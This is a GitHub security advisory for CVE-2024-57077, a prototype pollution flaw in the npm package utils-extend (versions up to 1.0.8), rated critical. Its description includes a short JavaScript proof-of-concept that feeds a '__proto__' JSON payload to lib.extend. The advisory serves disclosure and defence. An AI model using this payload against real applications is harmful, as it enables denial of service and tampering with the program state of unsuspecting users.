GitHub Advisoryadvisory · npm

GHSA-7qgg-vw88-cc99 utils-extend Prototype Pollution

CRITICAL Published 2025-02-06 Modified 2025-09-03 Official page ↗
Aliases
CVE-2024-57077
Ecosystem
npm
Packages
utils-extend
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weaknesses
CWE-1321
Reviewed
2025-02-06

Affected packages

• npm utils-extend: <= 1.0.8 (no fix yet)

Description

The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence. PoC ```js async function exploit() { const utilsextend = require(\"utils-extend\"); const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}'); const result = await utilsextend.extend({}, payload); } await exploit(); ```

Related

Alias · CVE (1)

  • CVE-2024-57077 The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. vulnerability

Weakness · CWE (1)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness

References